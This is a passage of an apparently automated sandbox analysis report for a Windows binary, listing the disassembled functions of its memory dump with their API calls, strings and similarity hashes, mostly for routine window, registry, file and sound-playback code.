Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 23798bcbb3df7aa77f791a71c2396d55f87ee0116d0f811e8657a35320ace333
Instruction ID: d819e80876ad1845c5597e58cb96f3e1e0157af874c4bfc45156416322ecbe84
Opcode Fuzzy Hash: 23798bcbb3df7aa77f791a71c2396d55f87ee0116d0f811e8657a35320ace333
Instruction Fuzzy Hash: 1461C275D00619EFCF04CFA8D884AAEBBB5FF48310F20852AE955A7250E774A951CF54

Function 007FDA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 007FDAA1

Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD659
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD66B
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD67D
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD68F
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD6A1
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD6B3
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD6C5
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD6D7
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD6E9
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD6FB
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD70D
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD71F
Part of subcall function 007FD63C: _free.LIBCMT ref: 007FD731

_free.LIBCMT ref: 007FDA96

Part of subcall function 007F29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000), ref: 007F29DE
Part of subcall function 007F29C8: GetLastError.KERNEL32(00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000,00000000), ref: 007F29F0

_free.LIBCMT ref: 007FDAB8
_free.LIBCMT ref: 007FDACD
_free.LIBCMT ref: 007FDAD8
_free.LIBCMT ref: 007FDAFA
_free.LIBCMT ref: 007FDB0D
_free.LIBCMT ref: 007FDB1B
_free.LIBCMT ref: 007FDB26
_free.LIBCMT ref: 007FDB5E
_free.LIBCMT ref: 007FDB65
_free.LIBCMT ref: 007FDB82
_free.LIBCMT ref: 007FDB9A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: a32cb01b92a63c2380454e4c83bf4aaba876aa326e018c79af99fe61a41ea6d6
Instruction ID: 799829d14c0927f6fe4ddb61f0c2f570c4dafb790b3ec564e3d1d76f330ca4fb
Opcode Fuzzy Hash: a32cb01b92a63c2380454e4c83bf4aaba876aa326e018c79af99fe61a41ea6d6
Instruction Fuzzy Hash: 2A315B71644209DFEB31AA78E849B7A77EAFF00311F114519E648E73A2DA79BC418B24

Function 0082365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0082369C
_wcslen.LIBCMT ref: 008236A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00823797
GetClassNameW.USER32(?,?,00000400), ref: 0082380C
GetDlgCtrlID.USER32(?), ref: 0082385D
GetWindowRect.USER32(?,?), ref: 00823882
GetParent.USER32(?), ref: 008238A0
ScreenToClient.USER32(00000000), ref: 008238A7
GetClassNameW.USER32(?,?,00000100), ref: 00823921
GetWindowTextW.USER32(?,?,00000400), ref: 0082395D

Strings

%s%u, xrefs: 00823734

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 69e2b7ba4c80add8fbb917325c4f7d224fa81c228ce40308d310342b16c1e8a5
Instruction ID: 9979dd12483b1417e44b77402b45ae15511227801ef39de92be695d03c182df0
Opcode Fuzzy Hash: 69e2b7ba4c80add8fbb917325c4f7d224fa81c228ce40308d310342b16c1e8a5
Instruction Fuzzy Hash: D791D171204726AFD718DF24D8A5FAAF7E9FF45340F008529F999C2190DB38EA85CB91

Function 00824954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00824994
GetWindowTextW.USER32(?,?,00000400), ref: 008249DA
_wcslen.LIBCMT ref: 008249EB
CharUpperBuffW.USER32(?,00000000), ref: 008249F7
_wcsstr.LIBVCRUNTIME ref: 00824A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00824A64
GetWindowTextW.USER32(?,?,00000400), ref: 00824A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00824AE6
GetClassNameW.USER32(?,?,00000400), ref: 00824B20
GetWindowRect.USER32(?,?), ref: 00824B8B

Strings

ThumbnailClass, xrefs: 00824A6F, 00824AF1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: d517923fc514db12ed1325e499c8db71a616e65658b4dcea2ccce06cbac1415e
Instruction ID: 15a45442942fa4ad80686347ec42b88f27cfa446d0fbeeebe2c1198aeb70c367
Opcode Fuzzy Hash: d517923fc514db12ed1325e499c8db71a616e65658b4dcea2ccce06cbac1415e
Instruction Fuzzy Hash: A391BD7100432A9FDB04DF54E885BAA77E8FF84314F049469FD86DA096EB34ED85CBA1

Function 00858D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00858D5A
GetFocus.USER32 ref: 00858D6A
GetDlgCtrlID.USER32(00000000), ref: 00858D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00858E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00858ECF
GetMenuItemCount.USER32(?), ref: 00858EEC
GetMenuItemID.USER32(?,00000000), ref: 00858EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00858F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00858F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00858FA1

Strings

0, xrefs: 00858E9F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 159ef256d76a751e08cc670bc85d9925b5129d1d44d917ff1eeca264a4e5f2ae
Instruction ID: 793dbcae710509eafbeead28c842877fb50cd406dd57fd32af0bde830010cdfe
Opcode Fuzzy Hash: 159ef256d76a751e08cc670bc85d9925b5129d1d44d917ff1eeca264a4e5f2ae
Instruction Fuzzy Hash: 30819C71508301EFDB10DF24C885AABBBEAFB88355F04095AFD85E7291DB30D908CB62

Function 0082DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0082DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0082DC46
_wcslen.LIBCMT ref: 0082DC50
_wcsstr.LIBVCRUNTIME ref: 0082DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0082DCBC

Strings

StringFileInfo\, xrefs: 0082DC8F
04090000, xrefs: 0082DCF2
DefaultLangCodepage, xrefs: 0082DD1F
\VarFileInfo\Translation, xrefs: 0082DCB4
%u.%u.%u.%u, xrefs: 0082DD9A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: f370bc174a5bfcb7bcfa5cbe820788b9646998eff06a45c41737cbe4ae1e68f5
Instruction ID: aab70a7a07a8eb06ce43e9ccc781235c6df8036d02e0cce7cae7bc2de571aa10
Opcode Fuzzy Hash: f370bc174a5bfcb7bcfa5cbe820788b9646998eff06a45c41737cbe4ae1e68f5
Instruction Fuzzy Hash: 22412772940315BBDB10A7759C0BEFF3B6CFF49710F10006AFA01E6282EB7999418BA5

Function 0084CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0084CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0084CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0084CD48

Part of subcall function 0084CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0084CCAA
Part of subcall function 0084CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0084CCBD
Part of subcall function 0084CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0084CCCF
Part of subcall function 0084CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0084CD05
Part of subcall function 0084CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0084CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0084CCF3

Strings

RegDeleteKeyExW, xrefs: 0084CCC9
advapi32.dll, xrefs: 0084CCB8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 97d0a2d76dd8784f48c33537185f1c91d91a49f8940922e683c2c2709f459dbe
Instruction ID: 5a3a70278185d0505df676f476b1c4b9e4a69468dbe61879715e0740be9cd488
Opcode Fuzzy Hash: 97d0a2d76dd8784f48c33537185f1c91d91a49f8940922e683c2c2709f459dbe
Instruction Fuzzy Hash: D8318A7190222DBFDB609BA4DC88EFFBB7CFF05751F000165A906E2250DA389A45DAA0

Function 00833D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00833D40
_wcslen.LIBCMT ref: 00833D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00833D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00833DBE
RemoveDirectoryW.KERNEL32(?), ref: 00833DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00833E55
CloseHandle.KERNEL32(00000000), ref: 00833E60
CloseHandle.KERNEL32(00000000), ref: 00833E6B

Strings

\, xrefs: 00833D77
:, xrefs: 00833D82
\??\%s, xrefs: 00833D5B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 7a14c922d5f8e9fb5980c69b3307ecca4bcc6a0045ce582174d3e5b54e16607b
Instruction ID: c8dfaab8efb55686cc37fe958db9ecd7f63631b8bb7286ef2fcd062b208b10c9
Opcode Fuzzy Hash: 7a14c922d5f8e9fb5980c69b3307ecca4bcc6a0045ce582174d3e5b54e16607b
Instruction Fuzzy Hash: A031927190024AABDB219BA0DC49FEF77BCFF88701F1041B6F619D6160EB7897848B64

Function 0082E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0082E6B4

Part of subcall function 007DE551: timeGetTime.WINMM(?,?,0082E6D4), ref: 007DE555

Sleep.KERNEL32(0000000A), ref: 0082E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0082E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0082E727
SetActiveWindow.USER32 ref: 0082E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0082E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0082E773
Sleep.KERNEL32(000000FA), ref: 0082E77E
IsWindow.USER32 ref: 0082E78A
EndDialog.USER32(00000000), ref: 0082E79B

Strings

BUTTON, xrefs: 0082E719

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 40603e76ed9141183f64af181ad9181df79d571ffcf7264cc563300a834cc780
Instruction ID: 7750904e7cf03c79a9a900e97f083272da8c5932e67320f1dc8372e8009db7c3
Opcode Fuzzy Hash: 40603e76ed9141183f64af181ad9181df79d571ffcf7264cc563300a834cc780
Instruction Fuzzy Hash: 5F219370304315BFEB11AFA4FC89A253BA9F77474AF140426F516C16A2DB79AC40DF29

Function 0082E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0082EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0082EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0082EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0082EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0082EAA7

Strings

play PlayMe, xrefs: 0082EAA2
close PlayMe, xrefs: 0082EA6E, 0082EA9B
alias PlayMe, xrefs: 0082EA36
open , xrefs: 0082EA0C
status PlayMe mode, xrefs: 0082EA58
play PlayMe wait, xrefs: 0082EA91

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 8040dba88ddd6feb1b42121799290e454fd85895c398a2634fadda5f714b9508
Instruction ID: 909c664c36aee1055bccee6e58921691cca18a42e9ca7c5be003a4f512dac22a
Opcode Fuzzy Hash: 8040dba88ddd6feb1b42121799290e454fd85895c398a2634fadda5f714b9508
Instruction Fuzzy Hash: B1114F21A90269B9D720B7A1EC4AEFF6B7CFBD1B40F40042DB811E21D1EA741955C6B0

Function 00825CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00825CE2
GetWindowRect.USER32(00000000,?), ref: 00825CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00825D59
GetDlgItem.USER32(?,00000002), ref: 00825D69
GetWindowRect.USER32(00000000,?), ref: 00825D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00825DCF
GetDlgItem.USER32(?,000003E9), ref: 00825DDD
GetWindowRect.USER32(00000000,?), ref: 00825DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00825E31
GetDlgItem.USER32(?,000003EA), ref: 00825E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00825E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00825E67

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: e60f5b204fa3bc6f7c361c2a2b9c15a1571896c9e5d4a240d00f31af1a96171f
Instruction ID: a825481e42e4ee0583d0b35df4a1637e335da7e1a8ed97395723ffe22a448f53
Opcode Fuzzy Hash: e60f5b204fa3bc6f7c361c2a2b9c15a1571896c9e5d4a240d00f31af1a96171f
Instruction Fuzzy Hash: 5D511C71A40719AFDF18CF68DD89AAEBBB5FB48301F108129F915E6290D774AE40CF50

Function 007D8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 007D8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,007D8BE8,?,00000000,?,?,?,?,007D8BBA,00000000,?), ref: 007D8FC5

DestroyWindow.USER32(?), ref: 007D8C81
KillTimer.USER32(00000000,?,?,?,?,007D8BBA,00000000,?), ref: 007D8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00816973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,007D8BBA,00000000,?), ref: 008169A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,007D8BBA,00000000,?), ref: 008169B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,007D8BBA,00000000), ref: 008169D4
DeleteObject.GDI32(00000000), ref: 008169E6

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 924c510b89e18d7630f5885df56e2fe598f5fa2cd97d91a417e3eca4dfac5c4a
Instruction ID: 66c070590683f01a8e02922216fd15755c2179afa99ddbf1d4ee31971ad0d14b
Opcode Fuzzy Hash: 924c510b89e18d7630f5885df56e2fe598f5fa2cd97d91a417e3eca4dfac5c4a
Instruction Fuzzy Hash: B961BE30116711DFCF61AF18D948B69BBF5FF40312F18455EE0869AAA0CB39A8D0CF62

Function 007D9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 007D9944: GetWindowLongW.USER32(?,000000EB), ref: 007D9952

GetSysColor.USER32(0000000F), ref: 007D9862

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 8354f674605d4d9aaa764e2e003c6cf41fb3118096b32c4a92bb75686c21ba59
Instruction ID: 89a8da4ea17af5fba55641aa0171cca1bb136aaf8ef594253daf6327f1eeacc0
Opcode Fuzzy Hash: 8354f674605d4d9aaa764e2e003c6cf41fb3118096b32c4a92bb75686c21ba59
Instruction Fuzzy Hash: 714173311447449FDB205F389C88BB93B75FB46771F14461AFAA2872E1D7399D41EB10

Function 007F8D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

.~, xrefs: 007F903A, 007F8FD0, 007F8FF2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID: .~
API String ID: 0-505086709
Opcode ID: 14a0eeb3614ff5dd77136993b0d492b03b5b7075fc5c244b492a28218ca35f44
Instruction ID: 0a6a9fad284a35817a476b5e280936ea8de0462b85be011fc2c4508798c73d06
Opcode Fuzzy Hash: 14a0eeb3614ff5dd77136993b0d492b03b5b7075fc5c244b492a28218ca35f44
Instruction Fuzzy Hash: 84C1D37590424EEFCB11EFA9D845BBDBBB4BF09310F084059E714A7392CB399941CB61

Function 008296E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0080F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00829717
LoadStringW.USER32(00000000,?,0080F7F8,00000001), ref: 00829720

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

